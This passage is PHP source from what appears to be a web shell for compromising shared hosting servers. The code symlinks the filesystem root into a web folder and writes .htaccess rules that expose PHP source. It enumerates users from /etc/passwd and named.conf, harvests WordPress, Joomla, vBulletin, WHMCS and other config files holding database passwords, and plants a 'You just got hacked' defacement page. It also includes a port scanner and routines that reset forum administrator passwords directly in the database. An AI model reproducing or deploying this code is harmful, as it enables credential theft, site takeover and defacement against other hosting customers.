1760 if (strpos($headers[0], '200') == true) $hs_script = "WHMCS";
1761 echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
1762 echo "<td align=center><font class=txt><a href=" . $hs_status . " target='_blank'>" . $hs_script . "</a></td></tr>";
1763 $dcount++;
1764 }
1765 echo "</table>";
1766 fclose($file);
1767 unlink("test.txt");
1768 } else {
1769 $d0mains = @file("/etc/named.conf");
1770 if ($d0mains) {
1771 @mkdir("dhanush", 0777);
1772 @chdir("dhanush");
1773 execmd("ln -s / root");
1774 $file3 = 'Options all
1775 DirectoryIndex Sux.html
1776 AddType text/plain .php
1777 AddHandler server-parsed .php
1778 AddType text/plain .html
1779 AddHandler txt .html
1780 Require None
1781 Satisfy Any
1782 ';
1783 $fp3 = fopen('.htaccess', 'w');
1784 $fw3 = fwrite($fp3, $file3);
1785 @fclose($fp3);
1786 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Site</font></td><td align=center><font size=4 >Script</font></td></tr>";
1787 $dcount = 1;
1788 foreach ($d0mains as $d0main) {
1789 if (eregi("zone", $d0main)) {
1790 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1791 flush();
1792 if (strlen(trim($domains[1][0])) > 2) {
1793 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
1794 $hs_status = $url . "dhanush/root/home/" . $user['name'] . "/public_html/wp-config.php";
1795 $headers = get_headers($hs_status);
1796 if (strpos($headers[0], '200') == true) $hs_script = "Wordpress";
1797 $hs_status = $url . "dhanush/root/home/" . $user['name'] . "/public_html/blog/wp-config.php";
1798 $headers = get_headers($hs_status);
1799 if (strpos($headers[0], '200') == true) $hs_script = "Wordpress";
1800 $hs_status = $url . "dhanush/root/home/" . $user['name'] . "/public_html/configuration.php";
1801 $headers = get_headers($hs_status);
1802 if (strpos($headers[0], '200') == true) $hs_script = "Joomla";
1803 $hs_status = $url . "dhanush/root/home/" . $user['name'] . "/public_html/forum/includes/config.php";
1804 $headers = get_headers($hs_status);
1805 if (strpos($headers[0], '200') == true) $hs_script = "Vbulletin";
1806 $hs_status = $url . "dhanush/root/home/" . $user['name'] . "/public_html/core/includes/config.php";
1807 $headers = get_headers($hs_status);
1808 if (strpos($headers[0], '200') == true) $hs_script = "Vbulletin";
1809 $hs_status = $url . "dhanush/root/home/" . $user['name'] . "/public_html/inc/config.php";
1810 $headers = get_headers($hs_status);
1811 if (strpos($headers[0], '200') == true) $hs_script = "Mybb";
1812 $hs_status = $url . "dhanush/root/home/" . $user['name'] . "/public_html/conf_global.php";
1813 $headers = get_headers($hs_status);
1814 if (strpos($headers[0], '200') == true) $hs_script = "IPB";
1815 $hs_status = $url . "dhanush/root/home/" . $user['name'] . "/public_html/settings.php";
1816 $headers = get_headers($hs_status);
1817 if (strpos($headers[0], '200') == true) $hs_script = "SMF";
1818 $hs_status = $url . "dhanush/root/home/" . $user['name'] . "/public_html/submitticket.php";
1819 $headers = get_headers($hs_status);
1820 if (strpos($headers[0], '200') == true) $hs_script = "WHMCS";
1821 echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td><a href=" . $domains[1][0] . " target='_blank'><font class=txt>" . $domains[1][0] . "</font></a></td><td><font class=txt><a href=" . $hs_status . " target=_blank>" . $hs_user . "</a></font></td></tr>";
1822 flush();
1823 $dcount++;
1824 }
1825 }
1826 }
1827 echo "</table>";
1828 } else {
1829 $TEST = @file('/etc/passwd');
1830 if ($TEST) {
1831 @mkdir("dhanush", 0777);
1832 @chdir("dhanush");
1833 execmd("ln -s / root");
1834 $file3 = 'Options all
1835 DirectoryIndex Sux.html
1836 AddType text/plain .php
1837 AddHandler server-parsed .php
1838 AddType text/plain .html
1839 AddHandler txt .html
1840 Require None
1841 Satisfy Any
1842 ';
1843 $fp3 = fopen('.htaccess', 'w');
1844 $fw3 = fwrite($fp3, $file3);
1845 @fclose($fp3);
1846 echo "<table align=center border=1 style='width:40%;' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Script</font></td></tr>";
1847 $dcount = 1;
1848 $file = fopen("/etc/passwd", "r");
1849 //Output a line of the file until the end is reached
1850 while (!feof($file)) {
1851 $s = fgets($file);
1852 $matches = array();
1853 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1854 $matches = str_replace("home/", "", $matches[1]);
1855 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/wp-config.php";
1856 $headers = get_headers($hs_status);
1857 if (strpos($headers[0], '200') == true) $hs_script = "Wordpress";
1858 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/blog/wp-config.php";
1859 $headers = get_headers($hs_status);
1860 if (strpos($headers[0], '200') == true) $hs_script = "Wordpress";
1861 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/configuration.php";
1862 $headers = get_headers($hs_status);
1863 if (strpos($headers[0], '200') == true) $hs_script = "Joomla";
1864 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/forum/includes/config.php";
1865 $headers = get_headers($hs_status);
1866 if (strpos($headers[0], '200') == true) $hs_script = "Vbulletin";
1867 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/core/includes/config.php";
1868 $headers = get_headers($hs_status);
1869 if (strpos($headers[0], '200') == true) $hs_script = "Vbulletin";
1870 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/inc/config.php";
1871 $headers = get_headers($hs_status);
1872 if (strpos($headers[0], '200') == true) $hs_script = "Mybb";
1873 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/conf_global.php";
1874 $headers = get_headers($hs_status);
1875 if (strpos($headers[0], '200') == true) $hs_script = "IPB";
1876 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/settings.php";
1877 $headers = get_headers($hs_status);
1878 if (strpos($headers[0], '200') == true) $hs_script = "SMF";
1879 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/submitticket.php";
1880 $headers = get_headers($hs_status);
1881 if (strpos($headers[0], '200') == true) $hs_script = "WHMCS";
1882 echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
1883 echo "<td align=center><font class=txt><a href=" . $hs_status . " target='_blank'>" . $hs_script . "</a></td></tr>";
1884 $dcount++;
1885 }
1886 fclose($file);
1887 echo "</table>";
1888 } else {
1889 @mkdir("dhanush", 0777);
1890 @chdir("dhanush");
1891 execmd("ln -s / root");
1892 $file3 = 'Options all
1893 DirectoryIndex Sux.html
1894 AddType text/plain .php
1895 AddHandler server-parsed .php
1896 AddType text/plain .html
1897 AddHandler txt .html
1898 Require None
1899 Satisfy Any
1900 ';
1901 $fp3 = fopen('.htaccess', 'w');
1902 $fw3 = fwrite($fp3, $file3);
1903 @fclose($fp3);
1904 echo "<table align=center border=1 style='width:40%;' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Script</font></td></tr>";
1905 $temp = "";
1906 $val1 = 0;
1907 $val2 = 1000;
1908 for (;$val1 <= $val2;$val1++) {
1909 $uid = @posix_getpwuid($val1);
1910 if ($uid) $temp.= join(':', $uid) . "
1911";
1912 }
1913 echo '<br/>';
1914 $temp = trim($temp);
1915 $file5 = fopen("test.txt", "w");
1916 fputs($file5, $temp);
1917 fclose($file5);
1918 $dcount = 1;
1919 $file = fopen("test.txt", "r");
1920 while (!feof($file)) {
1921 $s = fgets($file);
1922 $matches = array();
1923 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1924 $matches = str_replace("home/", "", $matches[1]);
1925 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/wp-config.php";
1926 $headers = get_headers($hs_status);
1927 if (strpos($headers[0], '200') == true) $hs_script = "Wordpress";
1928 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/blog/wp-config.php";
1929 $headers = get_headers($hs_status);
1930 if (strpos($headers[0], '200') == true) $hs_script = "Wordpress";
1931 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/configuration.php";
1932 $headers = get_headers($hs_status);
1933 if (strpos($headers[0], '200') == true) $hs_script = "Joomla";
1934 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/forum/includes/config.php";
1935 $headers = get_headers($hs_status);
1936 if (strpos($headers[0], '200') == true) $hs_script = "Vbulletin";
1937 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/core/includes/config.php";
1938 $headers = get_headers($hs_status);
1939 if (strpos($headers[0], '200') == true) $hs_script = "Vbulletin";
1940 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/inc/config.php";
1941 $headers = get_headers($hs_status);
1942 if (strpos($headers[0], '200') == true) $hs_script = "Mybb";
1943 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/conf_global.php";
1944 $headers = get_headers($hs_status);
1945 if (strpos($headers[0], '200') == true) $hs_script = "IPB";
1946 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/settings.php";
1947 $headers = get_headers($hs_status);
1948 if (strpos($headers[0], '200') == true) $hs_script = "SMF";
1949 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/submitticket.php";
1950 $headers = get_headers($hs_status);
1951 if (strpos($headers[0], '200') == true) $hs_script = "WHMCS";
1952 echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
1953 echo "<td align=center><font class=txt><a href=" . $hs_status . " target='_blank'>" . $hs_script . "</a></td></tr>";
1954 $dcount++;
1955 }
1956 fclose($file);
1957 echo "</table>";
1958 unlink("test.txt");
1959 }
1960 }
1961 }
1962 } else echo "<center>Cannot Get Scripts</center>";
1963} elseif (isset($_REQUEST["scphp"])) {
1964?><center><table><tr><td><a href=javascript:void(0) onClick="getdata('phpmanuallyscript')"><font class=txt size="4">| Do It Manually |</font></a></td>
1965 <td><a href=javascript:void(0) onClick="getdata('phpscriptlocator')"><font class=txt size="4">| Do It Automatically |</font></a></td>
1966 </tr></table></center><?php
1967} else if (isset($_REQUEST['phpmanuallyscript'])) {
1968?>
1969 <center>
1970 <form action="<?php echo $self; ?>" method="post">
1971 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
1972 <input type="button" OnClick="manuallyscriptfn('phpscriptlocator',passwd.value)" value="Get Config" class="but">
1973 </form>
1974 </center>
1975 <?php
1976} else if (isset($_REQUEST['phpscriptlocator'])) {
1977 if ($os == "Linux") {
1978 $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
1979 $path = explode('/', $url);
1980 $url = str_replace($path[count($path) - 1], '', $url);
1981 function syml($usern, $pdomain) {
1982 symlink('/home/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
1983 symlink('/home/' . $usern . '/public_html/core/includes/config.php', $pdomain . '~~vBulletin5.txt');
1984 symlink('/home/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
1985 symlink('/home/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
1986 symlink('/home/' . $usern . '/public_html/vb/core/includes/config.php', $pdomain . '~~vBulletin5.txt');
1987 symlink('/home/' . $usern . '/public_html/inc/config.php', $pdomain . '~~mybb.txt');
1988 symlink('/home/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
1989 symlink('/home/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
1990 symlink('/home/' . $usern . '/public_html/conf_global.php', $pdomain . '~~ipb1.txt');
1991 symlink('/home/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
1992 symlink('/home/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
1993 symlink('/home/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
1994 symlink('/home/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
1995 symlink('/home/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
1996 symlink('/home/' . $usern . '/public_html/bb-config.php', $pdomain . '~~boxbilling.txt');
1997 symlink('/home/' . $usern . '/public_html/billing/bb-config.php', $pdomain . '~~boxbilling.txt');
1998 symlink('/home/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
1999 symlink('/home/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
2000 symlink('/home/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
2001 symlink('/home/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
2002 symlink('/home/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
2003 symlink('/home/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
2004 symlink('/home/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
2005 symlink('/home/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
2006 symlink('/home/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
2007 symlink('/home/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
2008 symlink('/home/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
2009 symlink('/home/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
2010 symlink('/home/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
2011 symlink('/home/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
2012 symlink('/home/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
2013 symlink('/home/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
2014 symlink('/home/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
2015 symlink('/home/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
2016 symlink('/home/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
2017 }
2018 if (isset($_REQUEST['passwd'])) {
2019 $getetc = trim($_REQUEST['passwd']);
2020 mkdir("dhanushSPT");
2021 chdir("dhanushSPT");
2022 $file3 = 'Options all
2023 DirectoryIndex Sux.html
2024 AddType text/plain .php
2025 AddHandler server-parsed .php
2026 AddType text/plain .html
2027 AddHandler txt .html
2028 Require None
2029 Satisfy Any
2030 ';
2031 $fp3 = fopen('.htaccess', 'w');
2032 $fw3 = fwrite($fp3, $file3);
2033 @fclose($fp3);
2034 $myfile = fopen("test.txt", "w");
2035 fputs($myfile, $getetc);
2036 fclose($myfile);
2037 $file = fopen("test.txt", "r") or exit("Unable to open file!");
2038 while (!feof($file)) {
2039 $s = fgets($file);
2040 $matches = array();
2041 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2042 $matches = str_replace("home/", "", $matches[1]);
2043 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
2044 syml($matches, $matches);
2045 }
2046 fclose($file);
2047 unlink("test.txt");
2048 echo "<center><font class=txt size=3>[ Done ]</font></center>";
2049 echo "<br><center><a href=" . $url . "dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
2050 } else {
2051 $d0mains = @file("/etc/named.conf");
2052 if ($d0mains) {
2053 mkdir("dhanushST");
2054 chdir("dhanushST");
2055 $file3 = 'Options all
2056 DirectoryIndex Sux.html
2057 AddType text/plain .php
2058 AddHandler server-parsed .php
2059 AddType text/plain .html
2060 AddHandler txt .html
2061 Require None
2062 Satisfy Any
2063 ';
2064 $fp3 = fopen('.htaccess', 'w');
2065 $fw3 = fwrite($fp3, $file3);
2066 @fclose($fp3);
2067 foreach ($d0mains as $d0main) {
2068 if (eregi("zone", $d0main)) {
2069 preg_match_all('#zone "(.*)"#', $d0main, $domains);
2070 flush();
2071 if (strlen(trim($domains[1][0])) > 2) {
2072 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
2073 syml($user['name'], $domains[1][0]);
2074 }
2075 }
2076 }
2077 echo "<center><font class=txt size=3>[ Done ]</font></center>";
2078 echo "<br><center><a href=" . $url . "dhanushST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
2079 } else {
2080 mkdir("dhanushSPT");
2081 chdir("dhanushSPT");
2082 $file3 = 'Options all
2083 DirectoryIndex Sux.html
2084 AddType text/plain .php
2085 AddHandler server-parsed .php
2086 AddType text/plain .html
2087 AddHandler txt .html
2088 Require None
2089 Satisfy Any
2090 ';
2091 $fp3 = fopen('.htaccess', 'w');
2092 $fw3 = fwrite($fp3, $file3);
2093 @fclose($fp3);
2094 $temp = "";
2095 $val1 = 0;
2096 $val2 = 1000;
2097 for (;$val1 <= $val2;$val1++) {
2098 $uid = @posix_getpwuid($val1);
2099 if ($uid) $temp.= join(':', $uid) . "
2100";
2101 }
2102 echo '<br/>';
2103 $temp = trim($temp);
2104 $file5 = fopen("test.txt", "w");
2105 fputs($file5, $temp);
2106 fclose($file5);
2107 $file = fopen("test.txt", "r") or exit("Unable to open file!");
2108 while (!feof($file)) {
2109 $s = fgets($file);
2110 $matches = array();
2111 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2112 $matches = str_replace("home/", "", $matches[1]);
2113 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
2114 syml($matches, $matches);
2115 }
2116 fclose($file);
2117 echo "</table>";
2118 unlink("test.txt");
2119 echo "<center><font class=txt size=3>[ Done ]</font></center>";
2120 echo "<br><center><a href=" . $url . "dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
2121 }
2122 }
2123 } else echo "<center>Cannot Complete the task!!!!</center>";
2124} else if (isset($_GET["symlinkfile"])) {
2125 if (!isset($_GET['file'])) {
2126?>
2127 <center>
2128 <form onSubmit="getdata('symlinkmyfile',file.value);return false;">
2129 <input type="text" class="box" name="file" size="50" value="/etc/passwd">
2130 <input type="button" value="Create Symlink" onClick="getdata('symlinkmyfile',file.value)" class="but">
2131 </form></center>
2132 <br><br>
2133 <?php
2134 }
2135} else if (isset($_GET['symlinkmyfile'])) {
2136 if (stristr(php_uname(), "Linux")) {
2137 $fakedir = "cx";
2138 $fakedep = 16;
2139 $num = 0; // offset of symlink.$num
2140 if (!empty($_GET['myfile'])) $file = $_GET['myfile'];
2141 else $file = "";
2142 if (empty($file)) exit;
2143 if (!is_writable(".")) echo "not writable directory";
2144 $level = 0;
2145 for ($as = 0;$as < $fakedep;$as++) {
2146 if (!file_exists($fakedir)) mkdir($fakedir);
2147 chdir($fakedir);
2148 }
2149 while (1 < $as--) chdir("..");
2150 $hardstyle = explode("/", $file);
2151 for ($a = 0;$a < count($hardstyle);$a++) {
2152 if (!empty($hardstyle[$a])) {
2153 if (!file_exists($hardstyle[$a])) mkdir($hardstyle[$a]);
2154 chdir($hardstyle[$a]);
2155 $as++;
2156 }
2157 }
2158 $as++;
2159 while ($as--) chdir("..");
2160 @rmdir("fakesymlink");
2161 @unlink("fakesymlink");
2162 @symlink(str_repeat($fakedir . "/", $fakedep), "fakesymlink");
2163 while (1) if (true == (@symlink("fakesymlink/" . str_repeat("../", $fakedep - 1) . $file, "symlink" . $num))) break;
2164 else $num++;
2165 @unlink("fakesymlink");
2166 mkdir("fakesymlink");
2167 echo '<CENTER>check symlink <a href="./symlink' . $num . '">symlink' . $num . '</a> file</CENTER>';
2168 } else echo '<CENTER>Cannot Create Symlink</CENTER>';
2169} else if (isset($_REQUEST['404new'])) {
2170?>
2171 <form>
2172 <center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
2173 <input type="button" onClick="my404page(message.value)" value=" Save " class=but></center>
2174 </br>
2175 </form>
2176 <?php
2177} else if (isset($_REQUEST['404page'])) {
2178 $url = $_SERVER['REQUEST_URI'];
2179 $path = explode('/', $url);
2180 $url = str_replace($path[count($path) - 1], '', $url);
2181 if (isset($_POST['message'])) {
2182 if ($myfile = fopen(".htaccess", "a")) {
2183 fwrite($myfile, "ErrorDocument 404 " . $url . "404.html
2184
2185");
2186 if ($myfilee = fopen("404.html", "w+")) {
2187 fwrite($myfilee, $_POST['message']);
2188 }
2189 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
2190 } else echo "<center>Cannot Set 404 Page</center>";
2191 } else if (strlen($ind) != 0) {
2192 if ($myfile = fopen(".htaccess", "a")) {
2193 fwrite($myfile, "ErrorDocument 404 " . $url . "404.html
2194
2195");
2196 if ($myfilee = fopen("404.html", "w+")) {
2197 fwrite($myfilee, base64_decode($ind));
2198 fclose($myfilee);
2199 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
2200 }
2201 fclose($myfile);
2202 } else {
2203 echo "<center>Cannot Set 404 Page</center>";
2204 }
2205 } else echo "<center>Nothing Specified in the shell</center>";
2206} else if (isset($_GET["domains"])) {
2207?><center><iframe src="<?php echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR'); ?>" width="80%" height="1000px"></iframe></center><?php
2208} else if (isset($_GET["symlink"])) {
2209 $d0mains = @file("/etc/named.conf");
2210 $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
2211 $path = explode('/', $url);
2212 $url = str_replace($path[count($path) - 1], '', $url);
2213 if ($d0mains) {
2214 @mkdir("dhanush", 0777);
2215 @chdir("dhanush");
2216 execmd("ln -s / root");
2217 $file3 = 'Options all
2218 DirectoryIndex Sux.html
2219 AddType text/plain .php
2220 AddHandler server-parsed .php
2221 AddType text/plain .html
2222 AddHandler txt .html
2223 Require None
2224 Satisfy Any
2225 ';
2226 $fp3 = fopen('.htaccess', 'w');
2227 $fw3 = fwrite($fp3, $file3);
2228 @fclose($fp3);
2229 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr align =center><td align=center><font size=3 >S. No.</font></td><td align=center><font size=3 >Domains</font></td><td align=center><font size=3 >Users</font></td><td align=center><font size=3 >Symlink</font></td><td align=center><font size=3 >Information</font></td></tr>";
2230 $dcount = 1;
2231 foreach ($d0mains as $d0main) {
2232 if (eregi("zone", $d0main)) {
2233 preg_match_all('#zone "(.*)"#', $d0main, $domains);
2234 flush();
2235 if (strlen(trim($domains[1][0])) > 2) {
2236 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
2237 echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td align=left><a href=http://www." . $domains[1][0] . "/><font class=txt>" . $domains[1][0] . "</font></a></td><td><font class=txt>" . $user['name'] . "</font></td><td><a href=" . $url . "dhanush/root/home/" . $user['name'] . "/public_html target='_blank'><font class=txt>Symlink</font></a></td><td><font class=txt><a href=?info=" . $domains[1][0] . " target=_blank>info</a></font></td></tr>";
2238 flush();
2239 $dcount++;
2240 }
2241 }
2242 }
2243 echo "</table>";
2244 } else {
2245 if (stristr(php_uname(), "Linux")) {
2246?>
2247 <div style="float:left;position:fixed;">
2248 <form>
2249 <table cellpadding="9">
2250 <tr>
2251 <th colspan="2">Get User Name</th>
2252 </tr>
2253 <tr>
2254 <td>Enter Website Name :</td>
2255 <td><input type="text" name="sitename" value="sitename.com" class="sbox"></td>
2256 </tr>
2257 <tr>
2258 <td align="center" colspan="2"><input type="button" onClick="getname(sitename.value)" value=" Get IT " class="but"></td>
2259 </tr>
2260 <tr>
2261 <td colspan=2 align=center><div style="width:250px;" id="showsite"></div></td>
2262 </tr>
2263 </table>
2264 </form>
2265 </div>
2266 <?php
2267 $TEST = @file('/etc/passwd');
2268 if ($TEST) {
2269 @mkdir("dhanush", 0777);
2270 @chdir("dhanush");
2271 execmd("ln -s / root");
2272 $file3 = 'Options all
2273 DirectoryIndex Sux.html
2274 AddType text/plain .php
2275 AddHandler server-parsed .php
2276 AddType text/plain .html
2277 AddHandler txt .html
2278 Require None
2279 Satisfy Any
2280 ';
2281 $fp3 = fopen('.htaccess', 'w');
2282 $fw3 = fwrite($fp3, $file3);
2283 @fclose($fp3);
2284 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
2285 $dcount = 1;
2286 $file = fopen("/etc/passwd", "r");
2287 //Output a line of the file until the end is reached
2288 while (!feof($file)) {
2289 $s = fgets($file);
2290 $matches = array();
2291 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2292 $matches = str_replace("home/", "", $matches[1]);
2293 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
2294 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
2295 echo "<td align=center><font size=3 class=txt><a href=" . $url . "dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
2296 $dcount++;
2297 }
2298 fclose($file);
2299 echo "</table>";
2300 } else {
2301 @mkdir("dhanush", 0777);
2302 @chdir("dhanush");
2303 execmd("ln -s / root");
2304 $file3 = 'Options all
2305 DirectoryIndex Sux.html
2306 AddType text/plain .php
2307 AddHandler server-parsed .php
2308 AddType text/plain .html
2309 AddHandler txt .html
2310 Require None
2311 Satisfy Any
2312 ';
2313 $fp3 = fopen('.htaccess', 'w');
2314 $fw3 = fwrite($fp3, $file3);
2315 @fclose($fp3);
2316 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
2317 $temp = "";
2318 $val1 = 0;
2319 $val2 = 1000;
2320 for (;$val1 <= $val2;$val1++) {
2321 $uid = @posix_getpwuid($val1);
2322 if ($uid) $temp.= join(':', $uid) . "
2323";
2324 }
2325 echo '<br/>';
2326 $temp = trim($temp);
2327 $file5 = fopen("test.txt", "w");
2328 fputs($file5, $temp);
2329 fclose($file5);
2330 $dcount = 1;
2331 $file = fopen("test.txt", "r");
2332 while (!feof($file)) {
2333 $s = fgets($file);
2334 $matches = array();
2335 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2336 $matches = str_replace("home/", "", $matches[1]);
2337 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
2338 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
2339 echo "<td align=center><font size=3 class=txt><a href=" . $url . "dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
2340 $dcount++;
2341 }
2342 fclose($file);
2343 echo "</table>";
2344 unlink("test.txt");
2345 }
2346 } else echo "<center><font size=4 >Cannot create Symlink</font></center>";
2347 }
2348} else if (isset($_GET['host']) && isset($_GET['protocol'])) {
2349 echo "Open Ports: ";
2350 $host = $_GET['host'];
2351 $proto = $_GET['protocol'];
2352 $myports = array("21", "22", "23", "25", "59", "80", "113", "135", "445", "1025", "5000", "5900", "6660", "6661", "6662", "6663", "6665", "6666", "6667", "6668", "6669", "7000", "8080", "8018");
2353 for ($current = 0;$current <= 23;$current++) {
2354 $currents = $myports[$current];
2355 $service = getservbyport($currents, $proto);
2356 // Try to connect to port
2357 $result = fsockopen($host, $currents, $errno, $errstr, 1);
2358 // Show results
2359 if ($result) echo "<font class=txt>$currents, </font>";
2360 }
2361} else if (isset($_REQUEST['forumpass'])) {
2362 $localhost = $_GET['f1'];
2363 $database = $_GET['f2'];
2364 $username = $_GET['f3'];
2365 $password = $_GET['f4'];
2366 $prefix = $_GET['prefix'];
2367 $newpass = $_GET['newpass'];
2368 $uid = $_GET['uid'];
2369 if ($_GET['forums'] == "vb") {
2370 $newpass = $_GET['newipbpass'];
2371 $uid = $_GET['ipbuid'];
2372 $con = mysql_connect($localhost, $username, $password);
2373 $db = mysql_select_db($database, $con);
2374 $salt = "eghjghrtd";
2375 $newpassword = md5(md5($newpass) . $salt);
2376 if ($prefix == "" || $prefix == null) $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
2377 else $sql = mysql_query("update " . $prefix . "user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
2378 if ($sql) {
2379 mysql_close($con);
2380 echo "<font class=txt>Password Changed Successfully</font>";
2381 } else echo "Cannot Change Password";
2382 } else if ($_GET['forums'] == "mybb") {
2383 $newpass = $_GET['newipbpass'];
2384 $uid = $_GET['ipbuid'];
2385 $con = mysql_connect($localhost, $username, $password);
2386 $db = mysql_select_db($database, $con);
2387 $salt = "jeghj";
2388 $newpassword = md5(md5($salt) . md5($newpass));
